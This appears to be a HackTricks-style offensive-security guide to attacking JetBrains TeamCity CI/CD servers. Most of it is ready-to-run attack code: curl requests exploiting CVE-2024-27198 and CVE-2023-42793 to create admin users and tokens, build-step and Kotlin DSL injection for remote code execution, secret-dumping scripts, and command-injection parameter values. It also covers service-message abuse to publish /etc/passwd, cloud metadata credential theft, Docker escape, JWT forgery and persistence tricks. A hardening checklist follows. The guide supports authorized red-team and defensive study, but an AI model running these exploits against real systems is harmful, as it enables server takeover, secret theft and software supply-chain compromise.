# TeamCity Security

{{#include ../../banners/hacktricks-training.md}}

## Basic Information

[TeamCity](https://www.jetbrains.com/teamcity/) is JetBrains' CI/CD server. It can run as **TeamCity Cloud** or as **TeamCity On-Premises**. In real environments the on-premises product is the most interesting target because it is commonly connected to private repositories, deployment credentials, internal networks, and cloud build agents.

A TeamCity installation is usually composed of:

- **TeamCity server**: the Java web application and scheduler. It stores users, permissions, projects, build configurations, VCS roots, tokens, artifacts metadata, build history, and integrations. The default HTTP port is **8111**.
- **Projects and subprojects**: containers for build configurations, templates, parameters, VCS roots, connections, and permissions.
- **Build configurations**: jobs that define VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies, and artifact dependencies.
- **Pipelines / Kotlin DSL / XML settings**: build configuration can be managed in the UI or stored in VCS, commonly in a `.teamcity/` directory using Kotlin DSL.
- **Build agents**: worker machines that poll the server, checkout code, receive build settings and secrets, run build steps, and publish logs/artifacts back to the server. An agent normally runs one build at a time and can be physical, VM, container, or cloud-launched.
- **Agent pools**: a way to restrict which projects can run on which agents. This is critical when public/untrusted builds and production deployment builds coexist.
- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion, and other repository integrations. These often hold PATs, refreshable tokens, SSH keys, or OAuth-backed tokens.
- **Build parameters**: values available to configurations and builds. `env.*` parameters become environment variables, `system.*` parameters become system properties, and password parameters are masked but still usable by build code.

> [!WARNING]
> TeamCity itself documents that users who can change code executed by builds can do what the build-agent OS user can do, access resources on the agent, retrieve settings of configurations where their builds run, and potentially affect other projects sharing the same agent.

## Interesting Ports, Paths & Files

```bash
# Common TeamCity web ports
8111/tcp   # Default HTTP TeamCity server
80/tcp     # Often reverse-proxied TeamCity
443/tcp    # HTTPS reverse proxy or configured HTTPS
```

Interesting URLs:

```text
/login.html
/app/rest/server
/app/rest/swagger.json
/guestAuth/app/rest/server
/guestAuth/repository/download/<BuildConfig>/<BuildID>:id/<artifact>
/admin/admin.html
/admin/diagnostic.jsp
/admin/agents.html
/admin/plugins.html
```

Interesting local paths after server compromise:

```text
# Linux defaults seen in common installs
/opt/TeamCity/logs/
/opt/TeamCity/webapps/ROOT/plugins/
/home/teamcity/.BuildServer/config/
/home/teamcity/.BuildServer/plugins/
/home/teamcity/.BuildServer/system/artifacts/
/home/teamcity/.BuildServer/system/buildserver.data

# Windows defaults seen in common installs
C:\TeamCity\logs\
C:\TeamCity\webapps\ROOT\plugins\
C:\ProgramData\JetBrains\TeamCity\config\
C:\ProgramData\JetBrains\TeamCity\plugins\
C:\ProgramData\JetBrains\TeamCity\system\artifacts\
C:\ProgramData\JetBrains\TeamCity\system\buildserver.data
```

Interesting local paths after agent compromise:

```text
<AGENT_HOME>/conf/buildAgent.properties
<AGENT_HOME>/logs/
<AGENT_HOME>/work/
<AGENT_HOME>/temp/
<AGENT_HOME>/system/
~/.git-credentials
~/.ssh/
~/.docker/config.json
~/.npmrc
~/.m2/settings.xml
~/.aws/
~/.config/gcloud/
```

## TeamCity Permissions To Care About

The exact permission model can be customized, but the important default roles are:

- **System Administrator**: full server control. Assume server OS compromise is possible because admins can change server settings, upload plugins, and access diagnostics.
- **Project Administrator**: controls a project and can usually create/edit build configurations, parameters, VCS roots, features, triggers, and agent requirements inside that project.
- **Project Developer**: can usually view configuration settings, run builds, and interact with build results. This can still be sensitive because configuration settings and runtime data often disclose secrets.
- **Project Viewer / Guest**: read-only access may still expose build logs, artifacts, project names, branch names, internal hostnames, and dependency paths.

> [!TIP]
> During a pentest, do not stop at "low-privileged TeamCity user". Check whether that user can run custom builds, select branches, customize parameters, view settings, view runtime parameters, download artifacts, or trigger deployment configurations.

## Initial Enumeration

### Fingerprint Exposed TeamCity

```bash
export TC="http://teamcity.example.com:8111"

curl -i "$TC/login.html"
curl -i "$TC/app/rest/server"
curl -i "$TC/guestAuth/app/rest/server"
curl -s "$TC/app/rest/swagger.json" | head
```

Useful signs:

- `TeamCity-Node-Id` HTTP header.
- Login page branding.
- `/app/rest/server` returns `401` when authentication is required.
- `/guestAuth/app/rest/server` works if guest access is enabled.

### REST API Enumeration With A Token

TeamCity REST API commonly uses `Authorization: Bearer <token>`.

```bash
export TC="https://teamcity.example.com"
export TCTOKEN="TC..."

alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"'

tcurl "$TC/app/rest/server"
tcurl "$TC/app/rest/users/current"
tcurl "$TC/app/rest/users/current/roles"
tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)"
tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)"
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))"
tcurl "$TC/app/rest/agentPools"
tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)"
```

For a build configuration:

```bash
export BT="id:Project_Build"

tcurl "$TC/app/rest/buildTypes/$BT"
tcurl "$TC/app/rest/buildTypes/$BT/parameters"
tcurl "$TC/app/rest/buildTypes/$BT/steps"
tcurl "$TC/app/rest/buildTypes/$BT/features"
tcurl "$TC/app/rest/buildTypes/$BT/triggers"
tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements"
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents"
```

### Guest Access Abuse

If guest login is enabled, TeamCity supports `/guestAuth/` URLs. By default, guest users have Project Viewer role for all projects unless changed.

```bash
curl -sk "$TC/guestAuth/app/rest/projects"
curl -sk "$TC/guestAuth/app/rest/buildTypes"
curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50"
```

Look for:

- Build logs with secrets accidentally printed.
- Artifacts containing `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps, or internal URLs.
- Project/build names that reveal cloud account names, production systems, regions, or internal service names.
- Commit metadata that identifies privileged developers or service users.

Example artifact download format:

```bash
curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip"
```

## Attacks

### Unauthenticated Takeover: CVE-2024-27198 / CVE-2024-27199

TeamCity On-Premises versions **through 2023.11.3** were affected by two authentication bypasses fixed in **2023.11.4**. CVE-2024-27198 is the critical one because it can expose authenticated REST endpoints to unauthenticated attackers.

Fingerprint the bypass with a harmless authenticated endpoint:

```bash
curl -ik "$TC/hax?jsp=/app/rest/server;.jsp"
```

If server metadata is returned without authentication, the instance is vulnerable. A common takeover path is to create an admin user or mint a token for an existing admin user:

```bash
curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \
  -X POST \
  -H "Content-Type: application/json" \
  --data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}'
```

```bash
curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST
```

After this, continue as an authenticated TeamCity administrator: enumerate projects, collect secrets, execute builds on agents, inspect artifacts, and check cloud access from agents.

### Unauthenticated Takeover: CVE-2023-42793

TeamCity On-Premises versions before **2023.05.4** were affected by CVE-2023-42793. The practical impact was unauthenticated administrator-level access and RCE through TeamCity APIs. The widely abused path involved token creation through a route ending in `/RPC2`.

```bash
curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2"
```

If you are assessing incident impact, check for suspicious token creation, admin account creation, plugin upload/delete events, and process execution around the exposure window.

### Admin RCE By Uploading A Plugin

TeamCity server plugins are ZIP packages that extend server functionality. A System Administrator can upload a plugin from the UI under **Administration -> Plugins**, load it, and execute server-side Java code.

Abuse cases:

- Upload a malicious plugin for direct RCE on the **TeamCity server**, not just an agent.
- Use plugin load/delete as a short-lived execution path.
- Establish persistence through a plugin that looks like an internal integration.

Evidence to inspect:

```text
teamcity-activities.log
teamcity-server.log
<TeamCity Data Directory>/plugins/
<TeamCity Data Directory>/config/disabled-plugins.xml
<TeamCity Data Directory>/system/caches/plugins.unpacked/
<TeamCity Home>/webapps/ROOT/plugins/
```

### RCE By Creating Or Modifying Build Steps

If you can create or edit a build configuration, a TeamCity agent is your command execution target. The **Command Line / Script** runner is the most direct option.

Add a command line step through REST:

```bash
curl -sk "$TC/app/rest/buildTypes/$BT/steps" \
  -X POST \
  -H "Authorization: Bearer $TCTOKEN" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  --data '{
    "name": "diagnostics",
    "type": "simpleRunner",
    "properties": {
      "property": [
        {"name": "script.content", "value": "id; uname -a; env | sort"}
      ]
    }
  }'
```

Start the build:

```bash
curl -sk "$TC/app/rest/buildQueue" \
  -X POST \
  -H "Authorization: Bearer $TCTOKEN" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  --data '{"buildType":{"id":"Project_Build"}}'
```

Useful first commands on an agent:

```bash
id
hostname
pwd
env | sort
mount
ip addr || ifconfig
ip route || route print
find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json"
```

Windows agents:

```powershell
whoami /all
hostname
Get-ChildItem Env: | Sort-Object Name
ipconfig /all
route print
Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue
```

### Target A More Interesting Agent

Build configurations can have agent requirements, and custom builds may allow selecting a specific agent. This matters when one agent has production network reachability, Docker access, mobile signing keys, cloud roles, or deployment tooling.

Enumerate compatible agents:

```bash
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))"
```

Queue a build on a specific agent if your permissions allow it:

```bash
curl -sk "$TC/app/rest/buildQueue" \
  -X POST \
  -H "Authorization: Bearer $TCTOKEN" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  --data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}'
```

Or add an agent requirement to force a valuable agent class:

```bash
curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \
  -X POST \
  -H "Authorization: Bearer $TCTOKEN" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  --data '{
    "type":"equals",
    "properties":{"property":[
      {"name":"property-name","value":"teamcity.agent.name"},
      {"name":"property-value","value":"prod-deploy-agent-01"}
    ]}
  }'
```

### Dump Build Parameters & Password Parameters

Parameters are inherited from projects and templates, so enumerate both project and build configuration scopes:

```bash
tcurl "$TC/app/rest/projects/id:Project/parameters"
tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters"
```

Interesting names:

```text
env.AWS_ACCESS_KEY_ID
env.AWS_SECRET_ACCESS_KEY
env.GITHUB_TOKEN
env.NPM_TOKEN
env.DOCKER_AUTH_CONFIG
system.deploy.password
system.oauth.clientSecret
vcsroot.<id>.password
teamcity.configuration.properties.file
```

Important caveats:

- Password parameters are masked in UI/logs but any code that legitimately receives them can exfiltrate or transform them.
- Project administrators can often retrieve raw parameter values through settings access.
- TeamCity security notes warn that users who can modify build code can retrieve password values used by that build.
- If versioned settings are stored in VCS, users with access to the settings repo may recover values from scrambled/encrypted settings depending on the server encryption configuration and key exposure.

Build-step exfil pattern:

```bash
python3 - <<'PY'
import base64, os, json
interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])}
print(base64.b64encode(json.dumps(interesting).encode()).decode())
PY
```

### Poison Versioned Settings / Kotlin DSL

If versioned settings are enabled and you can write to the branch/repository TeamCity trusts for `.teamcity/`, you can modify the pipeline definition itself.

Typical targets:

- Add a new `script` step to a build configuration.
- Change `agentRequirements` to run on a more privileged agent.
- Add artifact rules to publish sensitive files.
- Add snapshot/artifact dependencies to pull data from another build.
- Add VCS triggers for persistence.
- Change VCS roots or checkout rules.

Minimal Kotlin DSL malicious step:

```kotlin
import jetbrains.buildServer.configs.kotlin.*
import jetbrains.buildServer.configs.kotlin.buildSteps.script

object Build : BuildType({
    name = "Build"
    steps {
        script {
            name = "diagnostics"
            scriptContent = "id; env | base64"
        }
    }
})
```

> [!CAUTION]
> This is one of the highest-impact TeamCity misconfigurations: storing build settings in the same repository as application source means anyone who can alter that source branch may be able to alter the CI/CD control plane.

### Pull Request / Untrusted Build Abuse

TeamCity can build pull requests from GitHub, GitLab, Bitbucket, Azure DevOps, and JetBrains Space. If a public repository is configured to build pull requests from **Everybody**, an external attacker may get code execution on a TeamCity agent by opening a PR.

Check for:

- Pull Requests build feature with permissive author filters.
- VCS triggers matching pull request branches such as `refs/pull/*`.
- Missing or disabled **Untrusted Builds** review.
- PR builds running on the same pools as trusted/prod builds.
- Password parameters or deployment credentials available to PR builds.
- Versioned settings loaded from PR branches.

Abuse primitives from untrusted code:

```bash
env | sort
echo "##teamcity[publishArtifacts '$PWD => workspace.zip']"
echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']"
```

Also review build scripts that interpolate PR-controlled values:

```text
%teamcity.pullRequest.title%
%teamcity.pullRequest.source.branch%
%teamcity.pullRequest.target.branch%
%teamcity.build.branch%
```

If those values are inserted into shell, PowerShell, SQL, Docker tags, package names, or deployment arguments without quoting/validation, test command injection and logic manipulation.

### Run Custom Build Parameter Injection

Users who cannot edit a build configuration may still be able to run custom builds with modified branch, agent, or parameter values.

```bash
curl -sk "$TC/app/rest/buildQueue" \
  -X POST \
  -H "Authorization: Bearer $TCTOKEN" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  --data '{
    "buildType":{"id":"Project_Build"},
    "branchName":"refs/heads/attacker-controlled-branch",
    "properties":{"property":[
      {"name":"env.DEPLOY_ENV","value":"prod; id #"},
      {"name":"system.release.version","value":"1.2.3$(id)"}
    ]}
  }'
```

Look for scripts like:

```bash
deploy --env %env.DEPLOY_ENV%
docker build -t registry/app:%system.release.version% .
git checkout %teamcity.build.branch%
```

### Service Message Abuse

TeamCity parses specially formatted output from build steps. If attacker-controlled code runs in a build, it can influence later steps and the server's understanding of the build.

Useful messages:

```bash
# Publish arbitrary files as artifacts
echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']"

# Modify parameters for following steps
echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']"

# Poison the build number displayed/published downstream
echo "##teamcity[buildNumber '9999-backdoored']"

# Hide noisy output in collapsed blocks
echo "##teamcity[blockOpened name='integration tests']"
echo "##teamcity[blockClosed name='integration tests']"
```

This becomes more dangerous when downstream release jobs trust build status, build number, tags, artifact names, or output parameters from an upstream job.

### Artifact & Dependency Poisoning

TeamCity build chains often move artifacts between builds. If you can influence an upstream build that publishes artifacts consumed by a privileged downstream build, try to poison:

- JAR/WAR/NuGet/npm/PyPI packages.
- Docker build contexts.
- Terraform plan files.
- Helm charts and Kubernetes manifests.
- SBOM/provenance files.
- Test fixtures or generated code consumed by later steps.

Publish a controlled artifact from a build:

```bash
mkdir -p out
cp payload.jar out/app.jar
echo "##teamcity[publishArtifacts 'out/** => release.zip']"
```

Then inspect artifact dependencies:

```bash
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
```

### Agent Cloud Pivoting

If the agent runs in AWS, Azure, GCP, Kubernetes, or an internal VM network, the build is a pivot point.

AWS IMDS:

```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
```

Fallback if IMDSv1 is allowed:

```bash
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
```

Azure IMDS:

```bash
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```

GCP metadata:

```bash
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/")
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token"
```

Kubernetes:

```bash
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
```

Docker escape checks:

```bash
ls -la /var/run/docker.sock
docker ps
docker run --rm -it -v /:/host alpine chroot /host sh
```

### Pivot Into Internal Services

Build agents often have reachability to package registries, artifact stores, deployment APIs, databases, and internal admin panels.

```bash
for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do
  echo "### $h"
  curl -sk --connect-timeout 2 "https://$h/" | head
done
```

After stealing a shared JWT/HMAC secret from TeamCity parameters, cloud secret stores, artifacts, or repo files, forge tokens for weak internal services:

```python
import jwt, time
secret = "leaked-hs256-secret"
payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600}
print(jwt.encode(payload, secret, algorithm="HS256"))
```

### VCS Root & Repository Credential Abuse

VCS roots and connections are often more valuable than TeamCity itself.

Look for:

- HTTP(S) VCS roots using username/password or PAT.
- SSH private keys uploaded to TeamCity.
- GitHub App / OAuth / refreshable token connections.
- Commit Status Publisher tokens.
- Pull Request feature tokens.
- Build steps that write to repositories, tags, releases, packages, or workflow files.

REST enumeration:

```bash
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
tcurl "$TC/app/rest/projects/id:Project/features"
```

Post-compromise impact:

- Push malicious commits/tags to repositories.
- Move release tags.
- Publish malicious package versions.
- Read private repos the tester did not originally have access to.
- Add CI/CD config for another platform such as GitHub Actions.
- Open/merge PRs using the service identity if it has write access.

### Debug & Diagnostics Endpoints

Some dangerous debug functionality is guarded by admin permissions and internal properties. If enabled, it can expose the TeamCity database or process execution.

Example database query setting:

```properties
rest.debug.database.allow.query.prefixes=select
```

If this is enabled, an admin token may query internal data:

```bash
curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \
  -H "Authorization: Bearer $TCTOKEN"
```

Also inspect whether `/app/rest/debug/processes` is reachable to your role. Treat any enabled debug endpoint as a potential direct server compromise path.

### Agent-Server Trust & Rogue Agent Angles

Agents poll the server and receive build settings, repository sources, access credentials/keys, build logs, and artifact data. If agent-to-server communication is plain HTTP or an attacker controls the network path, secrets and source code may be exposed.

Check:

```bash
grep -i '^serverUrl=' <AGENT_HOME>/conf/buildAgent.properties
grep -i 'authorizationToken\|name=' <AGENT_HOME>/conf/buildAgent.properties
```

Abuse paths:

- Compromise one agent and inspect work directories for other projects if agents are reused.
- Modify checked-out source or cached dependencies for later builds if clean checkout is not enforced.
- Steal the agent authorization token/configuration.
- Register a rogue agent if you have permissions to authorize project agents or if admins automatically authorize new agents.
- Impersonate an existing agent from a compromised host.

### Logs, Artifacts & Data Directory As Secrets

TeamCity security notes explicitly warn that read access to the TeamCity Data Directory, server logs, or build artifacts can expose secrets or lead to administrator escalation.

One specific escalation path is **Super User Access**: TeamCity can allow login as a system administrator with a token written to `teamcity-server.log`. If logs are shipped to a weakly protected log platform or readable by non-admin OS users, search for super-user tokens.

Hunt:

```bash
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null
```

Build logs often contain:

- Expanded command lines.
- Failed deployment commands with credentials in arguments.
- Docker login output.
- npm/pip/maven publishing errors.
- Cloud CLI debug output.
- Internal service URLs.

### Persistence Ideas

Useful persistence techniques during an authorized red team assessment:

- Create an access token with a plausible name under a service/admin user.
- Add a low-noise build trigger to a rarely reviewed configuration.
- Add a project parameter used by an existing deployment step.
- Add a hidden or disabled build step that can be re-enabled later.
- Add a new VCS root or connection under a legitimate project.
- Add a plugin that resembles an internal integration.
- Add a new agent pool / cloud profile / agent requirement that routes builds to attacker-controlled infrastructure.
- Modify Kotlin DSL in a settings repository.

Things defenders should review after a TeamCity compromise:

```text
teamcity-activities.log
teamcity-server.log
teamcity-javaLogging*.log
User access tokens
Recently created users/groups/roles
Plugin upload/load/delete events
Build configuration diffs
Versioned settings commits
VCS root credential changes
Agent authorization changes
Build triggers and schedules
Suspicious artifact publications
```

## Hardening Checklist

- Keep TeamCity On-Premises fully updated; exposed servers with old auth bypasses are high-value targets.
- Do not expose TeamCity directly to the internet unless strong access controls, SSO/MFA, network filtering, and rapid patching are in place.
- Disable Guest Login on production servers.
- Disable Super User Access with `teamcity.superUser.disable=true` if server logs are exported or broadly readable.
- Use least-privilege groups and custom roles instead of broad Project Administrator grants.
- Use short-lived scoped tokens for REST automation.
- Keep build settings in a separate protected repository if using versioned settings.
- Treat PR builds from forks as hostile; use Untrusted Builds, manual approval, and isolated disposable agents.
- Separate public/untrusted builds from deployment builds with dedicated agent pools.
- Use disposable agents and enforce clean checkout for sensitive builds.
- Avoid long-lived cloud/static credentials in parameters; prefer cloud OIDC/workload identity where possible.
- Require IMDSv2 on AWS agents and restrict metadata access from containers.
- Run agents as low-privileged OS users and avoid mounting Docker socket unless strictly required.
- Use HTTPS for agent-to-server traffic.
- Restrict plugin installation to trusted admins and review plugin changes.
- Keep server logs and TeamCity Data Directory readable only by the TeamCity server OS account and admins.
- Use a custom encryption key for secure values instead of relying on the default scrambling mechanism.
- Retain build history/logs for investigation and restrict permissions to delete builds.

## References

- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html)
- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html)
- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html)
- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html)
- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html)
- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html)
- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html)
- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html)
- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html)
- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html)
- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html)
- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/)
- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability)
- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793)

{{#include ../../banners/hacktricks-training.md}}
